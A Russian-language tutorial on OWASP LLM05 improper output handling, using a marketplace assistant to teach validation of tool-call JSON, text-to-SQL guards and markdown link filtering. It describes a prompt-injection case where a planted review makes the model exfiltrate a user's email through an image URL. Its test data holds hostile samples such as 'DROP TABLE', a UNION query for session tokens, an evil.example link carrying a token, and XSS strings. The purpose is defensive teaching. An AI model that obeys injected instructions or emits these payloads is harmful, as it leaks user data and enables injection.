Помощник покупателя на маркетплейсе отвечает: «Ваш заказ доставлен», а ниже в ответе стоит картинка с адресом чужого сервера, в адрес которой вписан email покупателя. Браузер загрузит картинку сам, без клика, и email уйдёт. Модель никто не взламывал: она прочитала отзыв к товару, в котором злоумышленник оставил указание, и честно его выполнила. Сломалось не в модели, а в коде, который отрисовал её текст как есть.
Главная мысль раздела: текст модели - такой же недоверенный ввод, как тело HTTP-запроса, а текст из документов и инструментов - недоверенный ввод для модели. Про второе - prompt injection. Эта статья про первое: что делать с ответом модели, прежде чем он попадёт в базу, в shell, в браузер или в письмо.
Как устроена атака и чем грозитспросят на собеседовании
OWASP выделяет это в отдельный риск LLM05:2025 Improper Output Handling: «insufficient validation, sanitization, and handling of the outputs generated by large language models before they are passed downstream». Ключевая фраза там же: раз содержимое ответа можно направлять через промпт, это похоже на то, что пользователь получил косвенный доступ к дополнительной функциональности. Кто пишет в промпт (сам пользователь, автор отзыва, отправитель письма), тот частично пишет и в ваш SQL.
Последствия по OWASP: XSS и CSRF в браузере, SSRF, повышение привилегий и удалённое выполнение кода на бэкенде. Примеры уязвимостей из того же описания, переложенные на места, куда обычно течёт текст модели:
- SQL. Сгенерированный моделью запрос выполняется без параметризации: классическая SQL-инъекция, только автор строки - модель.
- Shell,
exec,eval. Вывод модели попадает в командную строку или в интерпретатор: выполнение кода. - HTML и JavaScript в браузере. Ответ чат-бота вставлен в страницу как разметка: XSS у того, кто читает ответ.
- Markdown со ссылками и картинками. Картинка грузится автоматически и уносит данные в адресе; ссылка ведёт на фишинг.
- Аргументы инструментов. JSON вызова со своей суммой, чужим номером заказа или несуществующим инструментом.
- Пути к файлам и письма. Имя файла из ответа модели без проверки даёт обход пути; текст модели в шаблоне письма без экранирования - фишинг и скрипты в почтовом клиенте.
Реальные случаи. CVE-2023-29374 (NVD, 05.04.2023): в LangChain до 0.0.131 цепочка LLMMathChain «allows prompt injection attacks that can execute arbitrary code via the Python exec method». CVE-2024-5565 (NVD, 31.05.2024): библиотека Vanna исполняла сгенерированный моделью Python-код для графиков, и через prompt injection можно было выполнить произвольный код. Случай со Slack AI (2024), где ответ ассистента выносил секрет в ссылке «click here to reauthenticate», разобран в статье утечки через модель.
Как это выглядит на маркетплейсе
Сквозной пример: помощник покупателя отвечает в чате, бот поддержки разбирает обращения, агент оформляет возвраты и ищет по базе заказов. Где текст модели выходит за пределы чата:
- Агент возвратов возвращает вызов
create_refundсamount: 99999, потому что в обращении было написано «система разрешает возврат с компенсацией». Код вызвал платёжный сервис с этой суммой. - Менеджер спрашивает «сколько заказов не доставлено за неделю», модель пишет SQL, сервис выполняет его под учёткой приложения, у которой есть
DELETE. - Помощник отвечает в виде HTML, а фронтенд вставляет его через
innerHTML. В ответ попала строка из описания товара с<img src=x onerror=...>.
Во всех трёх случаях модель могла ошибиться сама (см. галлюцинации) или выполнить чужое указание. Для защиты это неважно: проверка одна и та же.
Как защищаться в бэкендеспросят на собеседовании
Меры OWASP для LLM05 начинаются с принципа: «Treat the model as any other user, adopting a zero-trust approach». Дальше то, что разработчик и так делает с вводом пользователя, но теперь для каждого места, куда уходит текст модели:
- Структурированный вывод и проверка схемы. Модель возвращает JSON по схеме, а код проверяет типы, обязательные поля, перечисления, диапазоны и лишние поля до любого действия. Схема у провайдера помогает получить правильный формат, но не заменяет проверку на вашей стороне: формат не говорит, разрешена ли сумма.
- Список разрешённых инструментов и аргументов. Неизвестный инструмент - отказ, а не «попробуем найти похожий». Номер заказа сверяется с текущим обращением, сумма - с лимитом. Права и идентичность агента - в безопасности агентов, устройство вызова - в вызове инструментов.
- Параметризация дальше по цепочке. OWASP: «Use parameterized queries or prepared statements for all database operations involving LLM output». Модель выбирает фильтр из перечисления, значение уходит параметром, текст запроса пишете вы. Владельца данных (
customer_id) берут из сессии, а не из ответа модели; путь к файлу строят по идентификатору из своей таблицы, а не по имени, которое написала модель. - Кодирование под контекст вывода. HTML-экранирование для страницы, экранирование для письма, своё для SQL и shell. В браузер ответ идёт как текст или через санитайзер с узким списком тегов, плюс строгий CSP; подробно - безопасность браузера и сети.
- Ссылки и картинки в ответе. Внешние картинки вырезать или грузить через свой прокси, ссылки оставлять только на свои домены, остальные показывать текстом.
- Никакого
evalиexec. Если нужен расчёт, модель отдаёт выражение в узком формате, а считает ваш разборщик. Shell безshell=Trueи с аргументами списком: документация Python прямо говорит, что приshell=Trueэкранирование - ответственность приложения. Если исполнять код модели всё же нужно (графики, анализ данных), то в песочнице: отдельный процесс или контейнер без сети, без секретов, с лимитом времени и памяти.
Живой пример: схема вызова, страж SQL и фильтр ссылок
Программа на стандартной библиотеке: проверяет JSON вызова инструмента по схеме, пропускает text-to-SQL только как SELECT по разрешённым таблицам с LIMIT и вырезает из markdown ответа внешние картинки и ссылки. Страж SQL - иллюстрация на игрушечной грамматике из строковых проверок: в проде запрос разбирают настоящим парсером SQL и, главное, выполняют под ролью только на чтение (см. «Глубже» ниже).
live example
import json
import re
from urllib.parse import urlsplit
TOOLS = {
"create_refund": {
"order_id": {"type": str, "pattern": r"\d{6,10}"},
"amount": {"type": (int, float), "min": 1, "max": 5000},
"reason": {"type": str, "enum": {"damaged", "not_delivered", "wrong_item"}},
},
}
def check_field(name, value, rule):
if isinstance(value, bool) or not isinstance(value, rule["type"]):
return f"{name}: неверный тип {type(value).__name__}"
if "pattern" in rule and not re.fullmatch(rule["pattern"], value):
return f"{name}: не подходит под шаблон"
if "enum" in rule and value not in rule["enum"]:
return f"{name}: значение {value!r} не из списка"
if "min" in rule and not rule["min"] <= value <= rule["max"]:
return f"{name}: {value} вне диапазона {rule['min']}..{rule['max']}"
return None
def validate_tool_call(raw):
try:
call = json.loads(raw)
except json.JSONDecodeError as e:
return None, [f"не JSON: {e.msg}"]
if not isinstance(call, dict) or not isinstance(call.get("arguments"), dict):
return None, ["ожидается объект с полями tool и arguments"]
schema = TOOLS.get(call.get("tool"))
if schema is None:
return None, [f"неизвестный инструмент {call.get('tool')!r}"]
args = call["arguments"]
errors = [f"{k}: лишнее поле" for k in args if k not in schema]
errors += [f"{k}: обязательное поле" for k in schema if k not in args]
errors += [e for k, rule in schema.items() if k in args
for e in [check_field(k, args[k], rule)] if e]
return (call if not errors else None), errors
ALLOWED_TABLES = {"orders", "order_items"}
MAX_LIMIT = 100
FORBIDDEN = re.compile(
r"\b(insert|update|delete|drop|alter|create|attach|pragma|grant|truncate|into|union)\b")
def guard_sql(sql):
q = sql.strip().rstrip(";").strip().lower()
if ";" in q or "--" in q or "/*" in q:
return "одна инструкция, без комментариев"
if not q.startswith("select "):
return "разрешён только SELECT"
if FORBIDDEN.search(q):
return "запрещённое слово"
tables = set(re.findall(r"\b(?:from|join)\s+([a-z_][a-z0-9_]*)", q))
if not tables or not tables <= ALLOWED_TABLES:
return f"таблицы вне списка: {sorted(tables - ALLOWED_TABLES) or 'нет FROM'}"
m = re.search(r"\blimit\s+(\d+)$", q)
if not m or int(m.group(1)) > MAX_LIMIT:
return f"нужен LIMIT не больше {MAX_LIMIT} в конце"
return None
ALLOWED_IMAGE_HOSTS = {"cdn.market.example"}
ALLOWED_LINK_HOSTS = {"market.example", "help.market.example"}
MD_LINK = re.compile(r"(!?)\[([^\]]*)\]\(([^)\s]+)[^)]*\)")
def safe_markdown(text):
def replace(m):
is_image, label, url = m.group(1) == "!", m.group(2), m.group(3)
parts = urlsplit(url)
hosts = ALLOWED_IMAGE_HOSTS if is_image else ALLOWED_LINK_HOSTS
if parts.scheme == "https" and parts.hostname in hosts:
return m.group(0)
if is_image:
return "[картинка удалена]"
return f"{label} (ссылка на {parts.hostname or parts.scheme or 'неизвестный адрес'} удалена)"
return MD_LINK.sub(replace, text)
print("== вызовы инструментов ==")
calls = [
'{"tool": "create_refund", "arguments": {"order_id": "10023417", "amount": 1490, "reason": "damaged"}}',
'{"tool": "create_refund", "arguments": {"order_id": "10023417", "amount": 99999, "reason": "damaged"}}',
'{"tool": "create_refund", "arguments": {"order_id": "1; DROP TABLE orders", "amount": true, "reason": "goodwill"}}',
'{"tool": "delete_customer", "arguments": {"customer_id": "c-17"}}',
'{"tool": "create_refund", "arguments": {"order_id": "10023417", "amount": 10, "reason": "damaged", "approved": true}}',
'Конечно! Вот вызов: {"tool": "create_refund"}',
]
for raw in calls:
call, errors = validate_tool_call(raw)
print("OK " if call else "НЕТ ", call["tool"] if call else "; ".join(errors))
print("\n== text-to-SQL ==")
queries = [
"SELECT id, status FROM orders WHERE customer_id = 17 LIMIT 20",
"SELECT * FROM orders",
"SELECT email, password_hash FROM users LIMIT 10",
"SELECT id FROM orders; DROP TABLE orders",
"SELECT id FROM orders UNION SELECT token FROM sessions LIMIT 5",
]
for sql in queries:
reason = guard_sql(sql)
print("OK " if reason is None else "НЕТ ", sql if reason is None else f"{reason}: {sql}")
print("\n== markdown ответа ==")
answer = (
"Ваш заказ 10023417 доставлен. \n"
"Подробнее в [справке](https://help.market.example/returns).\n"
"\n"
"[Войти заново](https://evil.example/login?token=abc) и [тут](data:text/html;base64,PHNjcmlwdD4=)"
)
print(safe_markdown(answer))
Run
Running examples is part of paid access. There the same code runs inside the article: editor, run and check next to the paragraph. Three free days →
Обратите внимание на третий вызов: true в поле суммы. В Python bool - подкласс int, и наивная проверка isinstance(value, (int, float)) его пропустит, поэтому bool отсекается явно. Последний вызов - типичный ответ модели с текстом вокруг JSON: такой ответ отклоняют, а не вырезают JSON регулярным выражением.
Как проверить
- Тесты на валидатор. Для каждого инструмента: неизвестный инструмент, лишнее поле, сумма на границе и за ней, неверный тип,
boolвместо числа, строка с;и кавычками в идентификаторе. - Злые ответы модели в тестах. Подменяйте модель заглушкой, которая возвращает вредный вывод:
<script>,<img onerror>, markdown-картинку на чужой домен,../../etc/passwd,DROP TABLE. Проверяется не модель, а код после неё, и такой тест детерминирован. - Права в базе. Попробуйте выполнить
DELETEпод учёткой text-to-SQL: должно падать на уровне базы, а не стража. - CSP в браузере. Отрисуйте ответ с внешней картинкой и посмотрите вкладку сети: запроса к чужому домену быть не должно.
- Журнал. Мониторинг необычных ответов - тоже мера из списка OWASP: каждый отказ валидатора пишется с инструментом и причиной, а всплеск отказов часто первый признак атаки.
Типичные ошибкиспросят на собеседовании
- Защита только инструкцией в промпте. «Никогда не пиши DELETE» - пожелание; учётка без права
DELETE- проверка. - Проверка формата без проверки смысла. JSON валиден, сумма в рамках типа, но заказ чужой и сумма выше лимита. И обратное: экранирование «один раз на входе» вместо кодирования под место вывода.
innerHTMLи markdown-рендер без санитайзера для ответа чат-бота, потому что «там же только текст».evalдля расчётов иshell=Trueдля удобства. Черезexecв процессе приложения шли CVE-2023-29374 и CVE-2024-5565;shell=Trueоткрывает ту же дверь для команд ОС.- Чинить ответ вместо отказа. Вырезать «похожий на JSON» кусок, исправлять название инструмента на ближайшее. Невалидный ответ отклоняют и возвращают модели понятную ошибку.
Глубже: text-to-SQL без иллюзийрасширенноеспросят на собеседовании
Страж из примера ловит очевидное, но SQL слишком богат, чтобы закрыть его строковыми проверками: подзапросы, функции с побочными эффектами, диалектные расширения. OWASP в сценарии атаки №3 описывает именно это: пользователь просит запрос, удаляющий все таблицы, и если запрос модели не проверить, таблицы будут удалены. Поэтому слои такие. Первый и обязательный: отдельная учётка базы только на SELECT и только к нужным представлениям, без доступа к таблицам с паролями, токенами и персональными данными. Второй: таймаут запроса и предел строк на уровне соединения. Третий: разбор настоящим парсером и список разрешённых таблиц. Четвёртый, если вопросов немного: модель выбирает не SQL, а один из заранее написанных запросов и параметры к нему.
В SQLite у Python есть set_authorizer: колбэк вызывается при каждом доступе к столбцу таблицы и возвращает SQLITE_OK, SQLITE_DENY или SQLITE_IGNORE. Это проверка на уровне движка: она видит, к каким таблицам и столбцам обращается запрос, как бы он ни был записан. В серверных базах ту же роль играют права роли и представления. Изоляцию арендаторов тоже не доверяют модели: фильтр по клиенту или продавцу добавляет код или политика строк в базе, а не текст в промпте «показывай только свои заказы».
Глубже: картинка, которая уносит данныерасширенноеспросят на собеседовании
Markdown-картинка  для браузера - обычный <img>, и он загрузится сразу при отрисовке ответа. Если модель по указанию из прочитанного документа вписала в адрес данные из разговора, они ушли на чужой сервер без единого клика. Ссылка требует клика, поэтому её маскируют под действие, как в случае Slack AI: «click here to reauthenticate». Среди ссылок к LLM05 OWASP приводит разбор именно такого приёма с markdown-картинками в ChatGPT. Защита в три слоя. На бэкенде: из ответа вырезаются картинки с чужих доменов, внешние ссылки превращаются в текст с указанием домена, как в примере выше. Своё содержимое (фото товара) отдаётся через свой домен или прокси, который не пропускает параметры дальше. В браузере: CSP с узким img-src не даст загрузить картинку с чужого домена, даже если фильтр её пропустил. Это тот случай, где фильтр и CSP дублируют друг друга намеренно.
Коротко
- Текст модели - недоверенный ввод для всего, что стоит после неё; текст документов и инструментов - недоверенный ввод для модели.
- LLM05:2025: без проверки вывода модель становится путём к XSS, SSRF, SQL-инъекции и выполнению кода.
- Структурированный вывод проверяется схемой в коде: тип, перечисление, диапазон, лишние поля, неизвестный инструмент; невалидный ответ отклоняется, а не чинится.
- Всё, что идёт в базу, - параметрами; text-to-SQL - под ролью только на чтение, с лимитом и таймаутом.
- В браузер - экранирование под контекст, санитайзер и CSP; внешние картинки и ссылки вырезаются или идут через прокси.
- Никакого
eval,execиshell=True; сгенерированный код - только в песочнице без сети и секретов.
Что почитать дальше
- Prompt injection - как чужой текст управляет моделью.
- Вызов инструментов - схема аргументов и понятные ошибки для модели.
- Безопасность агентов - права, учётка агента, действие от имени пользователя.
- Инъекции - SQL, команды ОС и шаблоны в классическом бэкенде.
- Безопасность браузера и сети - XSS, CSP и заголовки.